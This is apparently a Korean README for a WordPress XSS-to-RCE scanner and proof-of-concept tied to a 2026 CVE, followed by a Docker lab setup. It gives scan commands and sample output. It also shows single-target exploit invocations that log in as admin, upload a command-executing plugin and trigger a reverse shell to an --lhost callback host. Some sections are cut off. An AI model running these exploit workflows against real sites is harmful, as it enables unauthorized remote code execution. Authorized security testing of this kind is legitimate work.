
승인된 WordPress XSS-to-RCE 스캐너로, 동시 다중 타겟 XSS 반사(reflection) 및 버전 핑거프린트 탐지 기능과 선택적 익스플로잇 워크플로우를 제공합니다.
개발자: YogaGymn
승인된 WordPress 보안 테스트를 위한 PoC/스캐닝 유틸리티입니다. 이 프로젝트는 단일 대상 익스플로잇 워크플로와 동시 다중 대상 스캔 전용 모드를 포함합니다.
중요: 이 프로젝트는 본인이 소유하거나 테스트에 대한 명시적 승인을 받은 WordPress 설치 환경에서만 사용하십시오. 다중 대상 스캐너는 의도적으로 핑거프린팅 및 XSS 반사 탐지로 제한되며, 대상 목록에 대해 자격 증명 캡처, 플러그인 업로드 또는 RCE를 수행하지 않습니다.
원본 스크립트는 다음을 지원합니다:
auto, xss, direct 모드.추가된 스캐너는 다음을 지원합니다:
ThreadPoolExecutor를 사용한 동시 스캐닝.다중 대상 모드는 원본 RCE 함수를 호출하지 않습니다.
requests의존성 설치:
python3 -m pip install requests
Linux 배포판이 외부에서 관리되는 Python 환경을 사용하는 경우, 가상 환경을 사용하십시오:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
프로젝트를 복제하거나 복사합니다:
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
또는 간단히 다음을 배치하세요:
xss2shell.py
작업 디렉터리에 있습니다.
targets.txt라는 파일을 생성하세요:
https://example1.test
https://example2.test
https://example3.test
주석과 빈 줄은 무시됩니다:
# Authorized lab targets
https://example1.test
https://example2.test
스캐너를 실행합니다:
python3 xss2shell.py -i targets.txt
기본 동시성은 워커 10개입니다.
예를 들어 워커 20개를 사용하려면:
python3 xss2shell.py -i targets.txt --workers 20
작은 실험실의 경우:
python3 xss2shell.py -i targets.txt --workers 5
불필요하게 높은 워커 수를 선택하지 마십시오. 연결 부하가 증가하고 속도 제한이나 방어적 제어가 트리거될 수 있습니다.
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
기본 scan_results.txt는 탭으로 구분된 필드를 사용합니다:
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
예시:
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
상태 의미
XSS_REFLECTION_DETECTED 스캐너가 테스트한 HTML 반사 동작을
감지했습니다. 이는 그 자체로 RCE의
증거가 아닙니다.
XSS_NOT_DETECTED 테스트한 반사가 감지되지
않았습니다.
ERROR 검사 중 예외가 발생했습니다.스캐너는 다음과 같은 세부 정보를 보고할 수 있습니다:
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTED이 값들은 탐지 루틴이 관찰한 응답을 설명합니다. 결과를 확인된 취약점으로 처리하기 전에 수동으로 검증해야 합니다.
원본 스크립트는 단일 대상 인자도 지원합니다.
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
XSS/직접 워크플로는 명령 실행 기능을 포함하는 플러그인을 생성하거나 활성화할 수 있습니다. 승인된 테스트 환경 내에서만 사용하십시오.
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
인수 설명
target 단일 대상 URL.
-i, --input 여러 대상을 포함하는 파일.
--output 다중 대상 결과를 위한 출력 파일.
기본값: scan_results.txt.
--workers 동시 작업자 수.
기본값: 10.
--mode 원래의 단일 대상 모드:
auto, xss, 또는 direct.
-u, --username 원래의 direct/fallback 워크플로를
위한 WordPress 사용자 이름.
-p, --password 원래의 direct/fallback 워크플로를
위한 WordPress 비밀번호.
--lhost 원래 PoC를 위한 콜백/리버스 셸
호스트.
--lport 리버스 셸 포트. 기본값:
4444.
--slug 플러그인 슬러그. 기본값:
xss2shell.
--callback-port 콜백 서버 포트. 기본값:
9090.
--no-rev 원래 워크플로에서 리버스 셸
트리거링을 건너뜁니다.다중 대상 모드는 Python의 다음을 사용합니다:
ThreadPoolExecutor
각 대상은 독립적인 스캔 작업으로 제출됩니다:
targets.txt
|
v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ...
+----+----+----+----+
| | | |
v v v v
WP WP WP WP
XSS XSS XSS XSS
| | | |
+----+----+----+
|
v
scan_results.txt
작업자들이 완료되는 대로 결과가 수집되며, 최종 출력은 원래의 대상 순서에 따라 작성됩니다.
다중 대상 모드는 승인된 보안 평가 및 실험실 환경을 위해 설계되었습니다.
권장 워크플로:
targets.txt에 넣습니다.권한 없이 제3자 시스템에 대해 스캐너를 사용하지 마십시오.
이 스캐너는 완전한 취약점 평가 도구가 아닙니다.
특히:
unknown은 대상이 취약하다는 의미가 아닙니다..
├── xss2shell.py
├── targets.txt
└── scan_results.txt
CVE-2026-64638(WordPress Core 로그인 페이지의 인증 전 반사형 XSS)에 대해 레드 팀 탐지 도구를 테스트하기 위한 로컬 격리 랩입니다.
| 서비스 | 역할 | 로컬 포트 | WordPress 버전 |
|---|---|---|---|
wp-vulnerable | 취약 버전 | 8081 | 6.4 (취약 범위 6.4–7.0.2에 해당) |
wp-patched | 패치 버전 | 8082 | 최신 (Docker Hub에서 사용 가능해지면 7.0.3으로 고정) |
adminer | DB 검사기 | 8083 | - |
모든 포트는 127.0.0.1에만 바인딩되므로 호스트 머신 외부에서는 접근할 수 없습니다.
docker compose up -d
docker compose ps
MySQL이 준비될 때까지 15–30초 기다린 후 다음을 엽니다:
두 인스턴스 모두에서 표준 WordPress 설치 마법사(관리자 계정 생성 등)를 완료합니다.
# Check the actual WordPress version in each container
docker exec wp_lab_vulnerable wp core version --allow-root --path=/var/www/html
docker exec wp_lab_patched wp core version --allow-root --path=/var/www/html